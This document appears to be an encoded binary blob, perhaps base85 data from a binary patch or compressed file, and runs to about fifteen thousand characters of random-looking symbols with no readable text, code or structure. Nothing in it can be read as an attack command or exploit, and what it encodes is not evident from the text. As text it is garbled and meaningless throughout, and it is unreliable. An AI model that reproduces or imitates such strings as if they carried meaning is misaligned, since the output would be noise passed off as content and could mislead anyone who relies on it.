zf8Psssr>Jj+?oHPbpCx+{%|W@*H>8iZ)WcRX2xbY@OtzHSBR=IEmiem1?|Ya zz_KHxR1K4c=?W=T<<6I4!K%Y0JPjFo-w@aw9qMxN_QCX=5Lyu^cR&167?48^rm{InZiv zLpaSi2V0$0-tuw|p(?z&B%R7RR7qAz`*RLclBbS&!pf?@mDP~ZsDJ0ER1efD@-S&Q zX38`huw+}N%{mIRdU1Augw+wXiXdi4`z}fG@nfnW-P0+;(~tu590b(ybG25{fZl0) zJA)=&YbC%YwEXD}+jEyp@ch;;@YADplo} z*_KdiOK8Z{6Oex9HcKhAe%6Ka;T6z5epokDbW!`CnUi%P^iG?OxZ9xy6N>bEvxuLF zaw6gq#|)`tc$kv->LT zq}gX8=`8&*D{1F+(s}8mvzjKIC2tU8w9!tw7(K?Ap)dbgt`DV?&S;u+hP)NYqExrfql*|h`d=SWwctx99hpv=(=_LtbS?CG z5aYRFmttGnH-04aL6=pFvQ}} z3dapV-_kGGhS*(J!d7YBW1)NSOK^k|pyid*(Eju|r{WZfXp6MGl9fo>t&JamFGbB3V`(KiKZmFAVZ~{xDv+w69CetsG}Jj;z-mKYBVFl!kMQRA-Cu(kWHaR zGa8{rGddv~ttr%KMkCZ{#u7#f)M&<1l7Je082{m0WG2$>@8a7nN`Ts zmXC>8fr{D+YDw~L7JFU=Nc-31Yg>ZypGoq2Kgj$!Bnc{NFK8e+6jkf6kVKufVc-Nw z)af9J^%MMv8^Ek3i-jcWbh1GxBvDr>p7j-ysH=>IX|BEK+OF>64U}OrqH`!CNTQjI zNTOLm<2D34oKGN8i#t*GSz!qgB+=|Jg9S-6J4s!FB$_R11xYl!m$)H=>g`AItL_(U zVb4aZmiq-;I4%dt9A3h&glAG|1fjA5vmmBguJ<8CAf{SwkgNzX)$&GGg+NTTyj27U zG1c-;5tv1RyC@(KQ!Vp!1{+RC4rT~*NtCbk4UiC<8~@2=ysg@=LN=L9v?XPMLv!B? zx)rM%b~4;tkCxin&Lw*`$&xlb{AjYS&7b0ug5y7jqsjiMQIi6<<14(5s%kH!%<1Uo3qDd<(to0M13tDd*0Co0gZ zp0^ne$VTF=wr+g~Z4l^H&$}(qCzTERlnuN;*7F`|1-=vB`F6K>9H&1+>n z?|+J-2U_!1SOuN7hBe^r~kS>Em7H9U#7%<}2t`&zcnoDHrHfPs5MsR0?|4v(^JM74)iS9px4D zs%JfE1-tDa}XG=X0AJlh?4Dd<(tbF@=IuX>)R zP6fT{d4YB+=vB{)OJRe8UiIwR2HJvNZJif@eg(bieRv6Iak=-AC!j|Y=vD7dcUQWc z(5v1@ebTlFz3P1|2wFj}dLJjPpjW+5oa=zgTjPP!yX(XDyyA5@mek&-K7g7Hnn16% z_TRv4iNbogwLc5;;(hOY<$Xf0dKXNCynu2Rse-fKuJ=vD9U zNzZRR{frAV?=sQ~deys}w1QssUQ1d*uXqsvW=vD7Z(h7Rjdp&Jd(5v1X zXlK1ZuX^j>L%9_6s#ltrf?oBmZVPz@z3N?a5@-dz>TO`PE9h14TK2j<;_`KLxq@Ex zuIHBhzSew9^=@EsE$G$O`ML0nf?oChnbp-APh;L!X_9@P+9%?I>QB()n6dApt9y4&w4k%3gDv0X%1vye+Odbj3V$C zvhMAN$P<+{zlH|be*o`v=U^ly0Q{F(L$&HGhZx4e3@abr-`$8KSc0Uu*Ov zjp`-K`O+$Ove5-vh(06?lrfKGrIbcFjq!PqcJxW1AT-7_D z2GTtpKQd>xVzX&QzbnL5J$?nE@))qZnT$eQ)u(X~6vS2iLKzPQYPH}fy!7`OKcQ9& z5@OpO-im&-7~y?{7O2(2 zMa)y6RtpykNvPGrtA!-gYP)g>Vm^s#92zOf|`@#WxG_jSg> zg5ld#jx@eH{ATz@;v~`Ld*C<>IKCOjBdsqn2xj;`?GC%Nb_72S-l$hWQ6{^14G5`h zr`BG;PlFE`+Ysg__-XKA?3ExhKfzCfI}9n1pWvs#MW(wSQD35&c$3+^)VCG>nP_@ogN@**wxl+jbj8Cr0+aiWk@wBXam1dz%- zOeK~ABZ(tElL`+kB3jAx!kbzqD~C#i$B_*u6lzMvb3!>c#p`Hh^vW}WzZwVxpEDjq zoY?)mMZ)eEjF%-8cE4!s7ZP^wF}@TMcE4m8ZYG1>FB`2vD!Z9V@&#xp?PgNpQ4ZS8 z^unVYw3|v&cG7NYO2yOeV2U@jb_72S?iKviKzZ=b#-)f8yI-|P*!`MOE1|Iabz`-V zu=@=`87-OwyWbR)QL+0iK^awcGnM4qPub0+!lN9t`?eI1a?tKSrFfKsc0ZHi5l_3{ zOz{q_9l=k7Zwvlvz=>C{I%4P&yWh1)*uBpvlTg_Go-ss77`xvXM-nACU@%u@DA*NNe2k9a`g!LRi30Lk%3K75Hgr?ch!*0Z_3a$bV@q`>2I4ag>BM6k{nQ z;HRM*MNRAT&zh!%ZX&I~PeV78R^X?hja09|PeZqy5A^{63BeZtKMf8suf@{HpBRV& z3=>)l68toHg2|z4uK&wXh&fT1#eRaH28Ro?%un#sV1+RCeuAF{M+vjRKOXr7M+>vr zzXlsn!7(P=)Yc%tPlIF4_Yi-t|6MGOgTIl8?S6uv2FDBYke}eE!3pL~uxw{B!B2w| zO^&b?dNKB0gQp5ptrrvgG7bI9){d7%_sM24_fyuOkaK zs+q#=Ghzfk4PIh$b$!q%CirP^mbCrDMvUO6!Am7hGh+ll4PGXk!;BI9G=?mM zgPVlgo?T4v)8H0KH!LSc@YCRJ;?Ihl7{O12cS<81n-e4WX>hAZR_4SAej2=6xT>5O z!B2zRgsaYp5&SfGk8m|PF@m24?-g!VPV6|=^nJq3&505GGG;HSZ-gbTEY5&Sf`TexV87{O12PfL#}X%Qp%Y4920k}YBc zKMg)BTxp9K!B2zF30Kx4M)1?%^Ww)IEn);e4ZdJ<-PpTDjNqrimxSxnB1Z7j;LF1G zZ4o2*Y485hM61I6ljlPmA&WB5)UyyC_ERQ*aB(T^%F%DL4+CT5XKrrxxd| zjS>9R;@q{dX%XQ#FXh$72s?*34l{w;7{O12Z-~|5+8Du4gKr8Kt&I`7b_S8Z2-Cu>{;BH;mk%5@ZH3TxhvbJ64G z*ewBAD01ZHC@ee_a&gOXIK^|($Pp*S(?*Ut!UO!2JiDdv06(PxZ0W*7KcA`C)|I^c z0??G9Z1YV*AowN2@QvW76x*K) zj%ZyJ_-S|r{VU+7;pW|UWh4lG8ouv7JT3RIB?x{RzP~G&DqDi!r{V3Z(H`d75--ys z53q_C*b)Rk4L|f4+`QP9xT*`7hq-aH%$6YdY4{Q8*S5sl*ft423V#6nG(qsw@MBc4 z(UxdMk3LT37F&Ygr{O2A!Zz$?TY})H;a#_b*=|dm69)5SD?Ib>wk7I2gW3HYV)ob) zkxVd8UlTw@+Y$sn4L{QmL`~Zg1V0TwOXi?0aXY>99P>GBOA!1t{KCsnaLkq<_-S|# z&u8-N34))7Uz!C&1NH>LPs1-WP1v3w_-S}AnGW^@zZM9;x*rOn_QZEA+#8R=RZd5O z;HTlY=mWPSLGaV?+hp<_34))7-(f!pI1&Uu4ez72s3Sq})9`y_iXDlTC`oufnV2I% z@YC=CGMyZW+dl{M{y``xaU=+S8vcOVdN>lChQc3_DR(3|3xyA|2*VtS+gOB87*hcS zb}*kYrqYr4ktIDu)u%cV1V0Ub!I&yXg5am&!(XCs)s6(gPs2yp>1!MbokjSP%uGju z;HTlE4X7B~_FKMntl7A$ro2!0y=nwbjtDF=iOe1r+w zGx#jzR^X-`iedqb1kWI4hsZT}R8ruk9psE&ftz+H#%fptxal{@xF@7#xWNcYaMKQB znBH(^RHJ4xx!FG+e1XC^?RfPFFoJQ~aUDs)IF0ybfozk;IE{>34Bp|qfC3*lQBD3; z60n|PdNx7{Y#J@N3w(Q$mC@Py4`BSn(2UO0*&;PRF;1iN^-d6Q`sbp!(FJ-}Fm69F zPNNHjDe)8IG`dLdj~E<45ZE-@)>Q<}f^iyMrB{OS6XP`6pq~dRWb+`HwfaS(c^Ddb zbe%qwnuEkRjjq?}|A3zur_l{MdqGq)8!o|r?W&>7PL1u!&y7B-4?(n_=f~0Kb^1$F z>0S`V>A!`^_Q;m3+dp>(n3sgf^B+Zc1ZEfJFbSUkj$h zzlCD2N=y&`sOex{mo(-6Z1le9oBACP8|I%zH@u}k4yMAthzi~orqX{rRllRN99iyKyc^#r0W; zannt$I3=|b>L#*m;jJj!YBN~03D&a1$zy$oldYuP*XU%?r2Z#F=dlm%XR?2;r5$l! zqeJyWOvAjg(Px^ZNoT6HBkpT-jGl-8+{xxrViiTTj_&B0`Z&b;<+}be^*2Ckehxi| zcoz(IIk#f0t%#17I91!H=pTrjcw~YwPCw7>qZ5U32YEmrJyqwad|r?z^wHDwBVYo4 z;=V>t*S`i6^%M6sI!TuUdw+KZRZ0Ey@Dt1sCeZS7IE*#|Xi|R5;WvkqRpM~oDZlib z!%1JXBkpVTe7z;A(%l|Ejn2{95%)DZQ{Q4x`eJC2PR`yV!vMivO)zlEI%ybwK^a(Q zIc0k>Qm?a|;&5&ZPz$qgv*kAClX|b?5`;ROVhEe55@07x3Dkpjv(dI{8hQ@`98UJE z+=qLB%;<$0@wD+_qVe$}bj?>em>bz`@Dh^YGZ13>_^NV-uNomXUq38+?7otINa|bL zofRlxw4U}sXmB{A_?6binX46l5Xg5h1dP@bpp<~odV*s>I-IBAR}xGIp$Z{MrBw?U zttWJaNM4CwH(!nrwW(&$cP-jiqzTrdXVONvPl3^T&SbCxqxDQ?+f-n*o++di z7_H~5(;=h4XgwFPJ1a0+&veoXjMnqpnUGOnw4RHH!H&fOM(eqRmMbt?&!r0>Q!ls^ zo-6261xD+c-3PP+qxH;TzFXB>P|Q{u2VK$5L;;yeqZ<%91p#e*Sohd31?6zg!LNYP zdgiWzQUylqS@1G~)q5@rpFq(S7_H|jc6sdrvfzf&vQ=DM5p2bI*a66V#id0~& zp2goFm`5-x@xQ}KA*a*Rz;{ptjMme@APHPsoDLL{@_h9K%6C>UihbX+a~? z2y_aJ*7Go91dP_RLmG^L(Rvm<@I0N2xQjxU4L#5GvAhBhdXc?Aq05F|X4w?FY-lfOg)SRf(N0{ zLB16+S5FXKHuUjGFpKpB(PcxQaynS1Cx|W^`fMVcQm-e7E*tuMEW|eG2@c4iL+d($ znU^5CZ0N|dV7AUn5M4HO^e~v6^Abdt4SjVM((IX+;D{dj8&$tPFR?!x%-?yGw{Koz zBV)efF7?5AiHlIJp&w}e;du$7%Z7fWAHJFw3u7@K()1drJ2o#yblH%uUj|N_A0xVK zC`0PlIX^~p*^o_EFWK{BQ{keJOZP(3JwHZt*-)m$dFIE6E*r|y--D98`7xr)hFa$X$wO$ zbOX!fbcfcSjsIm-2(9H&h8h)AFuNqfAa={rwAd{?tFXi*m|_eQ49(E3JiS1QLyx3W z2x+A_w2S#71$(B$Ng;)y89KsNC8I~^h_ZyEN9YI*Okrq-ji~!fhUN++ zYGZgPaULStuvua~0kYjQY`kCSOGU{F{JL+(Pb&^Gt=PT+{uZSD`aA>+hGwYR;DnJ( zV`#=s-h%p+At^SB4NyCdU&O@5euh>F49!wvXvW5|gAhZrlo*<^@nngiSxOAeSS9l! zhGr=-G-IbQmKd6)#L$dQAWIC*QetSvCXywFW~pm5*i*?8L$j0^nz7T!5<|0;7@D!u z$r3}ebP)4BgDf#LONpTwo5E9aVrZ5ULo;?BV~L?zN({}|g)Eqbp~<&01vfNS^B~ioCd)C6V@+SD7-X{2;URjm`|C1{XR-0NRa*$Uqj8Q8TQjwcg`O|o& zYh?*-LA>C9dM|wkr2Pf_DEv?F)fT=G{pGwsKZGiH(%mx#pMVBwlm<3R6r|I2<5xO4(HQg zVAoSb8&!4*X=#2c8^P2ZkU~(X&BZRJYfW-cA<06J*?gnEx=U$)(5|aK!D_Hf)_$7F zh%P;%l$nPiYiF18izu_Q62Sv%F*s?iRa14X%V0iUY{!=u5b82y1Z1qSqD}NBFut>~ zmo(0ow3wL@*F*zxf!JB<=vyh9nlY3=hMGHr=*hG(q_h;Bfv4w0Q}vNem_q zX%~{ijKrk#@Qmj=9=Rr}Xuan80$LJh$|kMs_$DULLax~Hy_Z5$xCW@wOQufI5@&H8 zGeu9-RqI;fY%*u*iBl+b4w>OxvTEoW(RXRDBR)lfhgx zq?M+9h7~7EJcBV`>4`1ObS6jqV|rpMV}8q+@ASkn+IBHQ;Mqh8#poZ+X`rC9w8Si? zaT~JpnfM()hsZM$K8jsRv4D}_K~v%~ibajY1&q0zOlKoeMb)#JPl+LWyoot{=ILQ1 z4zSpB*}KXOtxE+GVKe{aA6X%6ABj|yL01OlPa%ESHI4KH(#H}B(i2H*dScJ5sLNByI03)i z692c7AC4txMK8i4hm$6{nX!sv#UZo+0ePfphQuJSD`+=uQKHruIE10hBqeq#Xpll9RzRlbw@Kxu*7R{uFZj+yb-rUWe zw6e2#M(BGN6++;7n+P-Qz8x%*??M|D zza2n5_^w2%OkXD-yzH9^7i9Z>gv)Y#+$?V4I~$p|^nJ@V>EmeI%J(>0U~AudpxgMc zNY^~RNyy8KWi71g)^IlrEPN7$whTN@zl0XP0+;B%zoNw&zUdIeOO+Jr)WAxG!5B8zA?V1bhjC+bCh9pz^s z?xD22P&@%u4~8i?S$as|WWyzUCFvWfq{JFkSxHi1sS^1;!bHnZ>~NB(wAj$aubU^= zl0d=9hD*Z|7sIctdWSKd>vOd}71mP7CnJHA4VRrFi6*5I@z}dbB93>e00Ji)?!hk` z1x_~HlcorqY`E7tQL>Rrm;=wdEz2Bvu)5CT%z^?Z8y*-yD3FBlo5%5yN9jsPmdmU#>x&M;$%Y4? zEaJaOiSw}iABn52e1Ve<54}>-T#a8h&*PQ648{T{8$My92;4>iz9pcR>oUg*oNRc+ zE)jSZzv2cSd_|djLEMyjbC4D{!RjS+r^iKwU zwD2Szl>77qXx~#b_qkWmac?iky)%4>)b1H^T3^eR6zAgxN`fAG2S$zH> z9BA?olI0r@W!b*xP!~DAy9QyP(Xx3Q?+!n~BY4%Zp5P*1J!yoWP|JVxyj?trR|31Z zR<{IprB?CtFb-$3ck;Yk<_$dR-w9)Q#4J2cYGXqgvF-obYQu59gmSi9;In|Q9GbP#oG5Uw6v)YfR zD<7eo%Aek_iqc}y7G+Vj)_)q-YUW1DAO4yA(`osQDft1rK8E~;4=mY6oBx`Y-H?{u zL8}|y{F!V~dCHE4lx+FKw4?sTpUDoVEPPR)D&fF^EaCF6Vew6tG?uvXr#JkrTuCoa zN%tB^8x~KpBnPG?@3tftTarEhKjz*9Op5CI`|s-Rn(kS;?P0omW_qTox|tbf1O^x| zILFJOIVLg6!(`3!T!mPo6R_`Ik@@Hx}ZuEsL z%FlR+q6^1%_b`LaxO9&$oYsBI&d^3`97s#!X*!VV7~}V7I>kS$_bU25{(u8vKoNst z%%ONSQPWOGpXY*bo4Z)5Rt7r8Ly^hx&+2^z$wv3P3w^kiwj?`jITiNN3AB$GdxtXq zS-q8*d!${X6MXxzwJ4#rnU8(IG$#M7-jR3;Vr|BA9y+|>{H)D*0zjjVJaE>*5vyCr z?!=MYQg3x@vG21V=7j( zM05kRM6?er5#0bS5$!`uMElSZ(f^|#TOBD4%|Y8kkpBlQ+#1u>-Fz7l>E z#E^RD50D!&+~<*c_o^0DG{bEkslQWJ5JT#{yCCCbae^4Cv)jYJf*4X4z64n=+EW+b zT||8|xIvY=j9Dp&A+=~Q7BmWCNL@}@K@6$IY)1t#q?YWB6P|(?QoWDh(nUcGsiiML zRuDsK8SNFskP3hpQb7=+ z6#y}$o@F@|#E^Q955g71kXk(pvH>wvH|zrc3Svk<@LR~z9Z!I zNfgA8KKpLiD2O3_4&N155JOs?i7JR8eIA=iK@90%Q&tc|`h3c#We8$OUqD$w4C#fG z6~vIfkg|dp(ic%y5JUQ6$_ipgUqV?y4CzZ*W(6^%FJn0s#E=ev7}CeJ)&D{N&2F{EE*xPlncud#+0Tcj^kH(f>d0%AyCzY~lE z#E`yWz4#}HA$=od1u>*=;-XnW4C$LGD~KWe8_Eh|NZ&$PK@90zDJzH}Ejxu3#E`z7 zJ{81}zJs!Y7}5a{L;7ykOF<0jd+vwLR0T0qmnNW`wFEH;Ibow3UdR|~4_g}Cqzqce zuoO0=?8qA#wL(|ucOmTSa4#Kys*c3ZefTfS>7Gc%^^k?G(63-IT<8k@nnV`5LR}wS zp-$-vZ^2CH3Ux|XSVx_7g*v4xSiGB)sXJ*n{$}_{y)Hmks0-2+>Q1SJO$7~+VD7YX zf&g8iE=X6Xo4+*^&`{|Lb+^6%S?CIN0lGq6fUZy%pexh`=n8drzlegzg|1L{FJ+}G z)ZItf&=u-_dmQ`=U7>Cl>k~u>U7_yx*0+>NSEw5jt)UI+3UwDo$519+q3)gNQINBJ zbcJj^$9qob3OS)Gxg_xg(pL#C7>eyk+&T=!Q@TQ~!kP(1=?b|ZT_G2wE98Q7g>qkLM}*G$OY*Nxi0HmzIIag@z`E2wkDUrIpYX8a#$pt%5$h#+21i#u~5aj}W1ZHTF@)8v7_?jn|3+ zDPxU&l(EJ>%2=aP#x^3mq0q-}DD<%#n)=ucO#ya8)2`1WYhgDujlUG4-j8kCjlq0M zdK3N%yP;`!5gn`ro2INmXsxmvID&-T&>UblH1Dw!8ba6&&HH{OZqM2td#5H*R(3=4 zWXj5JXb!L&nvY}BqP~DW31WcV&^$YafB?I}x!Af3A-O$q%82BI-H;P@LvCdcij_MD zzww-~8*;*K$O*e4H*_qDkqfXJoE6r?a3oKso`)b^$!9k>_ebmS;6T_7PLSQ;{5~ob z5_W?VWH&e=c7yY9lunBo=h5il@WglWomECWA>uq1JxM~3z^(M?IU*htaUPE@5%IW) z^F;JU5vNC-C!@cEsLjJvQc}F)#qBIiD!O@;^g!9rwt1x}qmPo~Ns)eciAd zoTs85f{I1wkI@#~yODA~V?>nu+2{xfMY*4gZX+Vfy*j#wh$#2-(P<*0+<%H52T{w- zRFW^42P`*}ijI14PG@@2Q4gN*>BKK5%S}&yJj;E$uN!uQ^XKSGEO(Fdm*{JVlXAak zM3nob=*JR@a=#q?MnshRm1s5A5@a_xuST0hM7dv!4&n+!P$Env`EIG@W>V2n50;zh zMMphYZaVSH$#T<^AJ1}+@^!;*a9)p|50}NH^G0+&;-uVvGa}0UX7n-%MY-RKt`rf4 zeLH#&Mbse3ZlI-~H`|!zq8oMt(}-^R!sC6qup69rquV1$*$vKn(XXM9-QWb+4Ni#N z;CvYUGgGYH5#!qVINDju>1sC&*dV*X39%cTwNV>pU^h7Ju}P4?Zg4tcvSt!?gR^mr zB~x~TGcdL}Y`|`C2FK2YBm@;F$Zl{#>;`9OYzE8%>;`A6*gXiz3A-T|U^h5pV|=X= zef^=>-ysOQ!FgC^vKyR71Q!vh`U0{1Z(1{v{054$8{EZwLotI*pYD=q2Z}B11~Zj8*~?Z?l-=MiKO3^J8{8G*Cc_&|?v<34-QZqDS=kM)+%i>mgL};@;uZgBRE#c-ji>;`92j5DmV8*sCaieWc6`-wJ3*$vMAqA9z< znHsBu3&U=3LhJ@-TC4?eZz{XNnI2;@;qZg4{E1}DUBaE^}6N6$3u z24`k$1oHFQ4Ni#N;Dp!>PKe#$oDk#M-LM;++0yq7yTLh8;tadNIY~6bZg4{E2Ip6? zvB=)A8=O;OoXQQm!8uiikYP7CbH&oI8=TW)oU{zP!I>A^6J89v!8tQFotm;6oDjRg zIY*BEY-Kk%=Za?74Ni#N;Dp!>PKe#$T%;XJ*$vLc+M|@+;9Me_VK+FJie}giPKe#$ zgxC#Eh~40X*bPpI-Qa}S4Ni#N;Dp!>PKe#$gxC$vHL>G);FaCrTpODQ&9EDsm7*DT zgA-ymI3ad}6Jj?wA$EfkVmCM;c7qdQH#i}7gA-ymI3ad}6Jj?wA$EfkVmCM;c7yYK zJx0QAa2||ZjLL%D@F)hCVK+D-c7qdQH#i}7gA-ymI3ad}6Jj?wA$EfkVmCM;c7qdQ zH#i}7gA-ymI4{JmM&S*+0ore=DZ2sMYHG@Efc73WWj8?M#A(;@;qZg4{E2IsRFZ&Dd{gA-ym zI3ad}6Jj?wA$EiFPsNBRyTJ*u8=Mfk!3nV&oDjRg39%cT5WB&N#<_4%c7tQbc|(uv z26hIX$mBeZbstY%JS&L~b_3&iCK4U&2Ck!crZDIIPA+;foVz6e3trCLoP|Y)LoRMP z5BoY7jhu0OoqddRj_8Knz+ovm*bOWId%EcG&uc37b+wmY@E91%J|75$E$_0h?*~F* z%TV^FKqzdv0A@duP{VFu-w_?`2Cmn5q(u+28_H;jGP}XMi0v!v2JhmV`Djkq4c;Z& zcJpS{1NB&EUiu#7WCjoGyvyW%eC5=8tcbVhTRi<&c7u2M;E}u=`_c&rUwjB;WjA@=+Y!pW%5L!f za5xmhZt$Ks28v-fcu#Iu#DP|JgZI>)xKC-=4c^mK47Q47;^B$Zty;T0LRp@8@wR9!3(k*ydb;5`;wUoyMYseup69; zIIo2=g2^v>2VqjEx&)qQK`;}EVjW7QYdK*M>riSZFha2or2y8U+Jpm;<2OGe2dsP3k3+Pw55i^ia?!3b=9ps*yj^w%7Q+eBI z+$7$18VT9X-GJ~4MMCsnMmK_lXsI6t2eoA+M9bbi(6QeTzk-BlZQM-)CeW;mglKI# z1iB(2T2Ha=h9ba$*0~ltx*{Q3PqWsxpw9^sqII6N9*QC%TF($gkr1u(tvLF&K|-`P zKMV(oglN6o%9P-YNQl;6YY40q3DLUL+5}3naU8}@>oThfiXtIegGh+hkHPdD1{;+TK{70 z1x1k%tuIQ9A|YCXNQl-~t(h=WBt+|L)|pTg3DNqxD2jw=eZyjhR3t=e5DC%xmNbeY zAzI%N^n^h|w3aGSbwxt74vw}$(IeCum5M47qP5c+hL}8?sh(%LdXe^}%7If)+xn?c z(IH`=7lC5~6i`>sqE^UaP`s%9$z>qIC~zH4O3} zg{`DiGzI;j^*}3)jwMJ4$O|DW5(3I)?0yCb(KXbcmGq zcX9kNex>8_+*r>a}}dgP@g=q|(8K4v}i%7c@Y$ zz;B*AHpHzz0=N-G=@6;?Y6oCy=c_cSDQrHaL!=I5u+kw?(|AOb4w0HpS?Lg|gG#Vb zIz;Lij%=kvq>iPmbcocf&0sS}Uf)Xnq8jB;Iz;LOmR#u&sS~${jnW}fzhavz9U^r~ z1U5>CNS(@j4IP5nO6On&cZ#Bd%%raw5ZaD_TA@RXfrR%S@GEqP)SSt1s&t6dJW?EV z^G$#bkqXcuQUN+dY5~njhe$2Bn+ZuzP*Ld#sRiWm@gdJd{KY&&Et%@&#u%YPq#oYXGd0!g!|W_uvdZz?E#KNdw?U+9^go{ zU&Pb4awOU>VT&tAqJ0tH!&Qz%`{idtR*ppb(#4RKBhh{ZW#ve;ucWX8x#6pd zEz0iP$B~$WM77G1n23m4#m*Q|m-=G6%o;3-D9VNv59tTR9T$I_oF|3rE78 z5#_0+k0a5s>!qEj4!?HQu^T&}awIzT+!?*n=SXzy%>h#8NOVk~TINV}Ok`eVjzq^k zj4g8{I`*Yn=16o*qFUxibWEmN=16qxN43n6=-8iXnIqA00M#-_qGLLr*q1pH9fvcv z%#r9gniVq~32rJCjzq`I>(CU+k?1&?=UQPgY@GN#jFrW(aphZ((RU*oD~llm7Q@Ct z7DIZ#I#^WDOj!)+ZMGYNMkI?Nz1<5#(Hg>HNdNq6$jV|!k8i4k*UHUy!;zRa7~#rd zNFRF^WMwg=PuLA^dX&YGZr>Y91syAkA-(ZQmqYhLsIVB)LvBa7vKZ3c-#``?Lwa-0+R9=`kK~;`Wig~jQC1d1dNgHaF{HBnaCoG1Xuo!Z}V#ozp4CzgoTe2a&`$4c37DGC~Vn_#A3~A{u%3??#a5~Jv zV&HM6s8>oXO8qDlxt`&uH=QPH(g)pLb{=3cq>rR&yb>=kVviqF7#0H$n=Z*XQR?zzlJzvF{BqC%hY`JP(^(KD!q6%f;o$EHygkk)H3NM+?^|PX?h8RbjnLF z@r^%0pG_pI5R<*ZXln~18!-?d-m^71qd@}^9XAzC($HyR;p1IvQk)%xM+Dm(Y_R@Z+oRx+4@+aR8 zw3kO93+=_}Z!_Ew90t|JhNGXa#F8?S6WU8IKzkWf{|-zI?WJb%8m!_5w~a&snP>;M z^LhsFUL$<)K=yzckr<5z56Zztxf6po*`N00P7K~u){4rV7~H)rZRUQA_0Qm*U(<#c zLxZ>88IxH=E?fq0%L^C7ofy2`p|CNfuIYFXN=~>FIpI#^ggcQ7a3^YpJ_VavCJJA{7PILyj6P-csL}!pY(HZ1UbOyN-ok8wIXOKJ5c?7o?%~bA0=aEz{08j$l ziO!>_+^XD(&ZC#0XseYw(HZ1UbRM%ZQ|3-|2DuZR$Me+pm2xLKgWQSEAa|lO$erk% z%`}EP(fLch{b9Hhok8wIXOKJ58RSlM2DuZRr}Apba3?zFa3<*~b0<1?ZAO)(e{}A~ zuA=>;a}V|pE?DpseJFt^oO=tNB;(qU49J;@c>_k{`PI$PX+`BFW5T!|Qnvq=tt4(AA#? z$zoS4pV&xw+BoAV`JpR7e&}jv=gG)Uqpl9h4G|$fbZxwdE;3z1zr|lU6Lk&MigV@L zHB>9E^2rZ7Ae#TB?5xq&(hXQ0 zAwP6=F>@h53>Wf4b_m*2Z^jSbmk$VYLVm~z`5`Cdhn$cfazcK{3Hc!>p3m`@mUVe&&x$PYOoKjeh`koz5G{+^tWA95FA7AfY0{E#~n>*jcFbP2W1 z3Hc%S90q7SC*+5mkRNhFe#i;=A@=|pI-V2qLoPsm7(Vx2maC8aF#HTY?aT@JAt&UA zoRA-KLVm!OX1WpbLvB((tUq!>e#i;=A@_O_$02t*&X!d~71 zR*5g(#qkC_1=%M*c&&^P@`KlQ6`EYh58ePeSMr0`&NDj65A=td!i>py1J^MjmtWpM z_0CT34OH(jk{`T*t6?ML2XAl!PdpRJ6n-0czy?6jWg{D>o+@)d0fqeF4c$!a$IyN@ z;wF{tMdI^Qy_DO4{NN2cR+7&4lU^E5Dk@zfzX$Ovb1o=g(&&K z+o}&Ok>>+VM2! zZ_^9;!P~w+jIgxFZ=O%{)m|oJAwPIKY$FCc(13dk^x{CyazcLacA72*hv8S6f!hE~ z0yxsfI5|aKt#>+c2S=Lu)Q*R0%v*(2TkQ4GlPRI{A zAwT5iqH*FmAwT4V{E!p!Lr%yKxtTo}EIA=RH8~+a%dyY zOA5WN@mA@@21edve5kJmkMYXD7(C`*Gw=;I+=Rw;Ko!R*pSk;s{hgunF}3LAKd_a% zlWVak`MRkDPq8^Z?%~5v5SX?OI*d#5An)OCNKbwOB6){S&|V+mF6E+@Iv{PS5AyX4uf17%N&Ec z;NKREUvsp?&p_e1aufao&7?~CNX5R86G<-mdp2gNp5(}U{17eKcR2X`XZ6->X-f8_ zmTcT;G8e2TxoV6q>={D}g!Lq!!^9Ted+HW=@BL{m(SU@If;A&~W$d$=TCna9a5ZB6 zv4lXBe5=3m3kdjkp!}lT2S%)y+a+>_DKXPaiR&U2EJ`AIHoPa2ycQa@4=#DETc0~v zy?kZ7SiLJ?D6M&GsLZ#TGP97kYazAuZi9VgY;~xRcW5DJY;oXmGb7fW97NHDQ?war zFNLa&R4}itA7w$VKHL;!dbuF!9#fF3&0*EXyIKn}o&~v93o=7m%Y}Vq>{e3{&5U7^ zS-(gH{cYXIqjk#B)3w&$mXFjWerBhHYJEze)^mcjzD6=z9;)?Rzt)FFtkc*bq6;T$ zF=#Et06K&@ZL@-PmfLMz{0cSxZBZ`DKVUE#mD|sBg)uLR@h31sZ{A{h#G0b=jL6uN z8MT*Zd|(!me^&42Tfv9)wY{_kGe+Z!f!1EUZH>+|=CcV%w>Njxv5Z^4LpM8}e4rNP zs4qa~r_dqT$sB?)AAZPmoTE9iQ085NZKOS8PNIe*zBai_t2lCd3v&us@Gg)6( z&U(3@^^j23Lrm7A2?w!;u-MUsJF&{cLIvsCupm8tLAH%E&sLriUZ1K}o>a~^y^X1I zYbf7Vldn`v8?~?*B>pELM0Cam@JBa70rJ z@DrQYh{4eZBY9CzfE*biW{@CJll=;r_ymasQRKyk z8>x#=^-z*pB}m{xs7#P3U}aGGFycUvfc#?w3GP4f2@);H!zV~|L;eW_iJII+D2`8% zSP!{Y2@+B?Ly))%d6fwgDCdt7Bv4MDAaR?N=UbM4^^1@VL87MNd**eAjr&{a2M$Ls z{}F=3vFOJ>LE@J~culSZiFuHHf&^usAh83yb<|=u20;Q{-zP|H50m8)AxP9T{sLJk zL87Mdqqu4P^l94qN|0EMY<+^ni;#beAi<*f1c`TX4N)dYph~7_AOX2dkbvwHBv|G$K?3FcQGx{Q zeS*X(u=fcPM5C4o5=a{&NJx_}W0Qvn615u;Bx(v@pvirL1P@oO5F}VKpCEBCE?>(8 z3FPDxB-qMjf&{|L1PPSb5F~1v_Jm8HAn_e!Ly%}g4~SGML4vYRkk|^cPmrMO6C^16 z1PRJML4vYRkf7`nBavC+>Dfq4&Gf1{n)`r|4)FT^X`JD;!_I-~+A zG9e%Z%>OfxqPA&kw2}ZR`WYYv>byr&LZFj=!~hHlGauDY8KzMfQ|h*i_IE z3Fb~KCkOy3vOyq4cK+5(KtlymWN&=|vH&Tv0U$*-0HnwUfE3vPkRp5cizv7PDYExc zRv<<8KFS72k^Sv)@Gn4$EPxb<5FkYsKnltPQe*+7piMt?hAe;-lnJEB0!RTl0Hny( z^PvAHAVsbZNRjKHp#UjzgQr5w&%%#+4vBmNK#E-F97HLQB4ndLiri70CB#;yDMMF zLJj~a@{s_LA|C`&6!{>KA|C`&%u|3A4GTmhkfPx%5eHyx(`bMc=!W0Il0XV3AdsT5 zi6H`{XzT-0G$(UC04ZDmDG>7i9Z2B$c5#i50;xw{Bp9~^yJ60+@pNm04ZDmDd4i0 zbOEG5oRk|t3K3Cm04YR7xdEgQ5rqYif+A`V0#YE%&s%^LzU~7leBJbg$NO{vQn&z8 